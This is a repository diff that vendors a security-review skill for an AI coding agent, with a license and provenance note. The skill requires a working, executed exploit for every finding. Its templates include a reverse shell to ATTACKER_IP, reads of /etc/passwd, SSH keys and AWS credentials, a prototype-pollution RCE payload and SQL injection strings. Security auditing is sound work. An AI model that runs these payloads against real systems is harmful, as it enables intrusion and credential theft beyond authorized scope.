+
|
|
61
|
+
## Where to Go for More
|
|
62
|
+
|
|
63
|
+
This skill covers general algorithmic and I/O discipline. For domain-specific detail:
|
|
64
|
+
|
|
65
|
+
- Front-end rendering, bundle size, re-renders, Core Web Vitals → `web-design-guidelines` /
|
|
66
|
+
`react-best-practices` (Vercel Labs), if installed.
|
|
67
|
+
- Database indexing and query planning → the project's own database/ORM documentation; this skill only covers
|
|
68
|
+
the *shape* of the calling code (batch vs. per-item), not index design.
|
|
69
|
+
|
|
70
|
+
## Quick Self-Check Before Shipping
|
|
71
|
+
|
|
72
|
+
- Does any loop body make a network/DB/filesystem call per iteration? → batch it.
|
|
73
|
+
- Does any loop recompute something constant across iterations? → hoist it.
|
|
74
|
+
- Is the algorithm's complexity class appropriate for realistic input sizes? → fix the algorithm before
|
|
75
|
+
tuning constants.
|
|
76
|
+
- Is this optimization solving a real, measured cost, or a hypothetical one? → if hypothetical, don't.
|
|
@@ -0,0 +1,21 @@
|
|
|
1
|
+
MIT License
|
|
2
|
+
|
|
3
|
+
Copyright (c) 2025 Risto "Dilaz" Viitanen
|
|
4
|
+
|
|
5
|
+
Permission is hereby granted, free of charge, to any person obtaining a copy
|
|
6
|
+
of this software and associated documentation files (the "Software"), to deal
|
|
7
|
+
in the Software without restriction, including without limitation the rights
|
|
8
|
+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
|
9
|
+
copies of the Software, and to permit persons to whom the Software is
|
|
10
|
+
furnished to do so, subject to the following conditions:
|
|
11
|
+
|
|
12
|
+
The above copyright notice and this permission notice shall be included in all
|
|
13
|
+
copies or substantial portions of the Software.
|
|
14
|
+
|
|
15
|
+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
|
16
|
+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
|
17
|
+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
|
18
|
+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
|
19
|
+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
|
20
|
+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
|
21
|
+
SOFTWARE.
|
|
@@ -0,0 +1,8 @@
|
|
|
1
|
+
# Vendored skill
|
|
2
|
+
|
|
3
|
+
- Source: https://github.com/Dilaz/security-review-skill
|
|
4
|
+
- Path in source: SKILL.md
|
|
5
|
+
- Commit: d154bc31f36e81561a5712a53edd9e99114bb113
|
|
6
|
+
- Retrieved: 2026-08-17
|
|
7
|
+
- License: MIT — see `LICENSE` in this directory.
|
|
8
|
+
- Renamed from `security-review` to `agemon-security` (frontmatter `name` and directory) to avoid colliding with Claude Code's own built-in `security-review` skill, and for agemon branding.
|
|
@@ -0,0 +1,356 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: agemon-security
|
|
3
|
+
description: Use when performing security audits, vulnerability assessments, penetration testing, or when asked to find security issues. Use when encountering code that handles user input, executes commands, reads files, or makes network requests.
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# Security Review & Exploit Development
|
|
7
|
+
|
|
8
|
+
## Overview
|
|
9
|
+
|
|
10
|
+
Systematic security review using automated tools AND manual analysis, with working proof-of-concept exploits for every finding. **No vulnerability is confirmed until exploited.**
|
|
11
|
+
|
|
12
|
+
## The Iron Law
|
|
13
|
+
|
|
14
|
+
```
|
|
15
|
+
NO FINDING WITHOUT A WORKING EXPLOIT
|
|
16
|
+
```
|
|
17
|
+
|
|
18
|
+
Suspecting a vulnerability is worthless. You must prove exploitation.
|
|
19
|
+
|
|
20
|
+
## Workflow
|
|
21
|
+
|
|
22
|
+
```dot
|
|
23
|
+
digraph security_review {
|
|
24
|
+
"Start review" [shape=doublecircle];
|
|
25
|
+
"Run automated scanners" [shape=box];
|
|
26
|
+
"Manual code review" [shape=box];
|
|
27
|
+
"Vulnerability found?" [shape=diamond];
|
|
28
|
+
"Write exploit PoC" [shape=box];
|
|
29
|
+
"Exploit works?" [shape=diamond];
|
|
30
|
+
"Document with severity" [shape=box];
|
|
31
|
+
"Mark as false positive" [shape=box];
|
|
32
|
+
"More to review?" [shape=diamond];
|
|
33
|
+
"Generate report" [shape=doublecircle];
|
|
34
|
+
|
|
35
|
+
"Start review" -> "Run automated scanners";
|
|
36
|
+
"Run automated scanners" -> "Manual code review";
|
|
37
|
+
"Manual code review" -> "Vulnerability found?";
|
|
38
|
+
"Vulnerability found?" -> "Write exploit PoC" [label="yes"];
|
|
39
|
+
"Vulnerability found?" -> "More to review?" [label="no"];
|
|
40
|
+
"Write exploit PoC" -> "Exploit works?";
|
|
41
|
+
"Exploit works?" -> "Document with severity" [label="yes"];
|
|
42
|
+
"Exploit works?" -> "Mark as false positive" [label="no"];
|
|
43
|
+
"Document with severity" -> "More to review?";
|
|
44
|
+
"Mark as false positive" -> "More to review?";
|
|
45
|
+
"More to review?" -> "Vulnerability found?" [label="yes"];
|
|
46
|
+
"More to review?" -> "Generate report" [label="no"];
|
|
47
|
+
}
|
|
48
|
+
```
|
|
49
|
+
|
|
50
|
+
## Phase 1: Automated Scanning
|
|
51
|
+
|
|
52
|
+
**Run ALL applicable tools.** Don't skip tools because "manual review is enough."
|
|
53
|
+
|
|
54
|
+
### Static Analysis (SAST)
|
|
55
|
+
|
|
56
|
+
```bash
|
|
57
|
+
# Opengrep - Multi-language SAST (preferred over semgrep)
|
|
58
|
+
opengrep scan --config=auto --config=p/security-audit --config=p/owasp-top-ten .
|
|
59
|
+
|
|
60
|
+
# Bandit - Python security linter
|
|
61
|
+
bandit -r . -f json -o bandit-report.json
|
|
62
|
+
|
|
63
|
+
# ast-grep - Custom pattern matching (write rules for project-specific issues)
|
|
64
|
+
ast-grep scan --rule security-rules/
|
|
65
|
+
|
|
66
|
+
# ESLint security plugin (JS/TS)
|
|
67
|
+
npx eslint --plugin security --rule 'security/detect-child-process: error' .
|
|
68
|
+
|
|
69
|
+
# Gosec - Go security checker
|
|
70
|
+
gosec -fmt=json -out=gosec-report.json ./...
|
|
71
|
+
```
|
|
72
|
+
|
|
73
|
+
### Dependency Scanning (SCA)
|
|
74
|
+
|
|
75
|
+
```bash
|
|
76
|
+
# Trivy - Comprehensive vulnerability scanner
|
|
77
|
+
trivy fs --scanners vuln,secret,misconfig .
|
|
78
|
+
|
|
79
|
+
# Grype - Fast vulnerability scanner
|
|
80
|
+
grype dir:. -o json > grype-report.json
|
|
81
|
+
|
|
82
|
+
# pip-audit - Python dependencies
|
|
83
|
+
pip-audit --format=json -o pip-audit.json
|
|
84
|
+
|
|
85
|
+
# npm audit - Node.js dependencies
|
|
86
|
+
npm audit --json > npm-audit.json
|
|
87
|
+
|
|
88
|
+
# govulncheck - Go dependencies
|
|
89
|
+
govulncheck ./...
|
|
90
|
+
```
|
|
91
|
+
|
|
92
|
+
### Secret Detection
|
|
93
|
+
|
|
94
|
+
```bash
|
|
95
|
+
# Gitleaks - Find secrets in git history
|
|
96
|
+
gitleaks detect --source . --report-path gitleaks-report.json
|
|
97
|
+
|
|
98
|
+
# Trufflehog - Deep secret scanning
|
|
99
|
+
trufflehog filesystem . --json > trufflehog-report.json
|
|
100
|
+
```
|
|
101
|
+
|
|
102
|
+
### Container/Infrastructure
|
|
103
|
+
|
|
104
|
+
```bash
|
|
105
|
+
# Trivy for containers
|
|
106
|
+
trivy image --severity HIGH,CRITICAL <image-name>
|
|
107
|
+
|
|
108
|
+
# Checkov for IaC
|
|
109
|
+
checkov -d . --framework terraform,kubernetes,dockerfile
|
|
110
|
+
```
|
|
111
|
+
|
|
112
|
+
## Phase 2: Manual Code Review
|
|
113
|
+
|
|
114
|
+
Focus on these vulnerability categories in order of severity:
|
|
115
|
+
|
|
116
|
+
### Critical: Injection Vulnerabilities
|
|
117
|
+
|
|
118
|
+
| Type | Pattern to Find | Grep Command |
|
|
119
|
+
|------|-----------------|--------------|
|
|
120
|
+
| Command Injection | `exec`, `spawn`, `system`, `eval` | `grep -rn "exec\|spawn\|system\|eval\|Function(" --include="*.ts" --include="*.js"` |
|
|
121
|
+
| SQL Injection | String concatenation in queries | `grep -rn "query.*\+" --include="*.ts"` |
|
|
122
|
+
| Path Traversal | `readFile`, `resolve` without validation | `grep -rn "readFileSync\|readFile\|resolve" --include="*.ts"` |
|
|
123
|
+
| Template Injection | User input in templates | `grep -rn "render\|template" --include="*.ts"` |
|
|
124
|
+
|
|
125
|
+
### High: Authentication/Authorization
|
|
126
|
+
|
|
127
|
+
| Type | Pattern to Find |
|
|
128
|
+
|------|-----------------|
|
|
129
|
+
| Missing auth checks | Routes without middleware |
|
|
130
|
+
| Hardcoded credentials | `password`, `secret`, `key` in code |
|
|
131
|
+
| Weak crypto | `md5`, `sha1`, `Math.random` |
|
|
132
|
+
|
|
133
|
+
### Medium: Data Exposure
|
|
134
|
+
|
|
135
|
+
| Type | Pattern to Find |
|
|
136
|
+
|------|-----------------|
|
|
137
|
+
| Sensitive data in logs | `console.log`, `logger` with user data |
|
|
138
|
+
| Error message leakage | Full stack traces returned to client |
|
|
139
|
+
| Insecure storage | Credentials in config files |
|
|
140
|
+
|
|
141
|
+
## Phase 3: Exploit Development
|
|
142
|
+
|
|
143
|
+
**Every vulnerability MUST have a working exploit.**
|
|
144
|
+
|
|
145
|
+
### Command Injection Exploit Template
|
|
146
|
+
|
|
147
|
+
```typescript
|
|
148
|
+
// exploit-cmd-injection.ts
|
|
149
|
+
import { execSync } from 'child_process'
|
|
150
|
+
|
|
151
|
+
const VULNERABLE_ENDPOINT = 'http://localhost:3000/api/diff'
|
|
152
|
+
|
|
153
|
+
// Test payloads - escalate from detection to impact
|
|
154
|
+
const payloads = [
|
|
155
|
+
// Detection: Does injection work?
|
|
156
|
+
{ input: '$(echo VULNERABLE)', detect: 'VULNERABLE' },
|
|
157
|
+
|
|
158
|
+
// Information gathering
|
|
159
|
+
{ input: '$(whoami)', detect: /\w+/ },
|
|
160
|
+
{ input: '$(id)', detect: /uid=/ },
|
|
161
|
+
|
|
162
|
+
// File read
|
|
163
|
+
{ input: '$(cat /etc/passwd)', detect: 'root:' },
|
|
164
|
+
|
|
165
|
+
// Reverse shell (for authorized pentests only)
|
|
166
|
+
{ input: '$(bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1)', detect: null },
|
|
167
|
+
]
|
|
168
|
+
|
|
169
|
+
async function exploit() {
|
|
170
|
+
for (const { input, detect } of payloads) {
|
|
171
|
+
const response = await fetch(VULNERABLE_ENDPOINT, {
|
|
172
|
+
method: 'POST',
|
|
173
|
+
body: JSON.stringify({ files: [input] }),
|
|
174
|
+
})
|
|
175
|
+
const result = await response.text()
|
|
176
|
+
|
|
177
|
+
if (detect && result.match(detect)) {
|
|
178
|
+
console.log(`[+] Payload worked: ${input}`)
|
|
179
|
+
console.log(`[+] Output: ${result}`)
|
|
180
|
+
}
|
|
181
|
+
}
|
|
182
|
+
}
|
|
183
|
+
```
|
|
184
|
+
|
|
185
|
+
### Path Traversal Exploit Template
|
|
186
|
+
|
|
187
|
+
```typescript
|
|
188
|
+
// exploit-path-traversal.ts
|
|
189
|
+
const traversalPayloads = [
|
|
190
|
+
'../../../etc/passwd',
|
|
191
|
+
'....//....//....//etc/passwd',
|
|
192
|
+
'/etc/passwd',
|
|
193
|
+
'/proc/self/environ', // Leaks environment variables
|
|
194
|
+
'/home/user/.ssh/id_rsa',
|
|
195
|
+
'/home/user/.aws/credentials',
|
|
196
|
+
]
|
|
197
|
+
|
|
198
|
+
async function exploitPathTraversal(endpoint: string) {
|
|
199
|
+
for (const payload of traversalPayloads) {
|
|
200
|
+
const response = await fetch(endpoint, {
|
|
201
|
+
method: 'POST',
|
|
202
|
+
body: JSON.stringify({ files: [payload] }),
|
|
203
|
+
})
|
|
204
|
+
const result = await response.text()
|
|
205
|
+
|
|
206
|
+
if (result.includes('root:') || result.includes('AWS_')) {
|
|
207
|
+
console.log(`[+] Path traversal successful: ${payload}`)
|
|
208
|
+
return result
|
|
209
|
+
}
|
|
210
|
+
}
|
|
211
|
+
}
|
|
212
|
+
```
|
|
213
|
+
|
|
214
|
+
### Dependency Exploit Template
|
|
215
|
+
|
|
216
|
+
```typescript
|
|
217
|
+
// exploit-dependency.ts
|
|
218
|
+
// When a vulnerable dependency is found, search for:
|
|
219
|
+
// 1. Public exploits: searchsploit, exploit-db, GitHub
|
|
220
|
+
// 2. CVE details for exploitation steps
|
|
221
|
+
|
|
222
|
+
// Example: Exploiting known prototype pollution
|
|
223
|
+
const payload = {
|
|
224
|
+
"__proto__": { "admin": true }
|
|
225
|
+
}
|
|
226
|
+
|
|
227
|
+
// Example: Exploiting known RCE in library
|
|
228
|
+
const rcePayload = {
|
|
229
|
+
"constructor": {
|
|
230
|
+
"prototype": {
|
|
231
|
+
"outputFunctionName": "x;process.mainModule.require('child_process').execSync('id');x"
|
|
232
|
+
}
|
|
233
|
+
}
|
|
234
|
+
}
|
|
235
|
+
```
|
|
236
|
+
|
|
237
|
+
### SQL Injection Exploit Template
|
|
238
|
+
|
|
239
|
+
```typescript
|
|
240
|
+
// exploit-sqli.ts
|
|
241
|
+
const sqlPayloads = [
|
|
242
|
+
// Detection
|
|
243
|
+
"' OR '1'='1",
|
|
244
|
+
"1; SELECT 1--",
|
|
245
|
+
|
|
246
|
+
// Union-based extraction
|
|
247
|
+
"' UNION SELECT username,password FROM users--",
|
|
248
|
+
|
|
249
|
+
// Time-based blind
|
|
250
|
+
"'; WAITFOR DELAY '0:0:5'--",
|
|
251
|
+
"' AND SLEEP(5)--",
|
|
252
|
+
|
|
253
|
+
// Error-based extraction
|
|
254
|
+
"' AND 1=CONVERT(int,(SELECT TOP 1 table_name FROM information_schema.tables))--",
|
|
255
|
+
]
|
|
256
|
+
```
|
|
257
|
+
|
|
258
|
+
## Phase 4: Severity Classification
|
|
259
|
+
|
|
260
|
+
| Severity | Criteria | Examples |
|
|
261
|
+
|----------|----------|----------|
|
|
262
|
+
| **Critical** | RCE, full system compromise, auth bypass | Command injection, SQL injection with admin access |
|
|
263
|
+
| **High** | Significant data breach, privilege escalation | Path traversal to sensitive files, IDOR |
|
|
264
|
+
| **Medium** | Limited data exposure, DoS | Error message leakage, resource exhaustion |
|
|
265
|
+
| **Low** | Minor information disclosure | Version disclosure, missing headers |
|
|
266
|
+
|
|
267
|
+
## Report Template
|
|
268
|
+
|
|
269
|
+
```markdown
|
|
270
|
+
## Finding: [Vulnerability Name]
|
|
271
|
+
|
|
272
|
+
**Severity:** Critical/High/Medium/Low
|
|
273
|
+
**Location:** `file.ts:42`
|
|
274
|
+
**CWE:** CWE-XXX
|
|
275
|
+
|
|
276
|
+
### Description
|
|
277
|
+
[What is the vulnerability and why it's dangerous]
|
|
278
|
+
|
|
279
|
+
### Vulnerable Code
|
|
280
|
+
```typescript
|
|
281
|
+
// The vulnerable code snippet
|
|
282
|
+
```
|
|
283
|
+
|
|
284
|
+
### Proof of Concept
|
|
285
|
+
|
|
286
|
+
```bash
|
|
287
|
+
# Command to exploit
|
|
288
|
+
curl -X POST http://target/api -d '{"payload": "$(id)"}'
|
|
289
|
+
```
|
|
290
|
+
|
|
291
|
+
**Result:**
|
|
292
|
+
```
|
|
293
|
+
uid=1000(user) gid=1000(user) groups=1000(user)
|
|
294
|
+
```
|
|
295
|
+
|
|
296
|
+
### Impact
|
|
297
|
+
- What an attacker can achieve
|
|
298
|
+
- Data at risk
|
|
299
|
+
- Business impact
|
|
300
|
+
|
|
301
|
+
### Remediation
|
|
302
|
+
```typescript
|
|
303
|
+
// Fixed code
|
|
304
|
+
```
|
|
305
|
+
|
|
306
|
+
### References
|
|
307
|
+
- CVE-XXXX-XXXXX
|
|
308
|
+
- OWASP reference
|
|
309
|
+
```
|
|
310
|
+
|
|
311
|
+
## Tool Installation
|
|
312
|
+
|
|
313
|
+
```bash
|
|
314
|
+
# Install all security tools
|
|
315
|
+
pip install opengrep bandit pip-audit
|
|
316
|
+
npm install -g eslint eslint-plugin-security
|
|
317
|
+
go install github.com/securego/gosec/v2/cmd/gosec@latest
|
|
318
|
+
go install golang.org/x/vuln/cmd/govulncheck@latest
|
|
319
|
+
|
|
320
|
+
# Trivy
|
|
321
|
+
brew install trivy # macOS
|
|
322
|
+
# or: curl -sfL https://raw.githubusercontent.com/aquasecurity/trivy/main/contrib/install.sh | sh
|
|
323
|
+
|
|
324
|
+
# Grype
|
|
325
|
+
brew install grype # macOS
|
|
326
|
+
# or: curl -sSfL https://raw.githubusercontent.com/anchore/grype/main/install.sh | sh
|
|
327
|
+
|
|
328
|
+
# Gitleaks
|
|
329
|
+
brew install gitleaks # macOS
|
|
330
|
+
# or: go install github.com/gitleaks/gitleaks/v8@latest
|
|
331
|
+
|
|
332
|
+
# ast-grep
|
|
333
|
+
npm install -g @ast-grep/cli
|
|
334
|
+
```
|
|
335
|
+
|
|
336
|
+
## Red Flags - STOP
|
|
337
|
+
|
|
338
|
+
If you find yourself thinking:
|
|
339
|
+
- "This looks suspicious but I'll note it without testing" - **STOP. Write exploit first.**
|
|
340
|
+
- "Manual review is enough, tools are overkill" - **STOP. Run the tools.**
|
|
341
|
+
- "The exploit is obvious, I don't need to verify" - **STOP. Execute and prove it.**
|
|
342
|
+
- "I'll skip dependency scanning, code review covers it" - **STOP. Run SCA tools.**
|
|
343
|
+
|
|
344
|
+
## Quick Reference
|
|
345
|
+
|
|
346
|
+
| Tool | Purpose | Command |
|
|
347
|
+
|------|---------|---------|
|
|
348
|
+
| opengrep | SAST multi-language | `opengrep scan --config=auto .` |
|
|
349
|
+
| bandit | Python SAST | `bandit -r .` |
|
|
350
|
+
| trivy | Vuln + secrets | `trivy fs .` |
|
|
351
|
+
| grype | Dependency vulns | `grype dir:.` |
|
|
352
|
+
| gitleaks | Secret detection | `gitleaks detect --source .` |
|
|
353
|
+
| govulncheck | Go dependencies | `govulncheck ./...` |
|
|
354
|
+
| pip-audit | Python deps | `pip-audit` |
|
|
355
|
+
| npm audit | Node deps | `npm audit` |
|
|
356
|
+
| ast-grep | Custom patterns | `ast-grep scan` |
|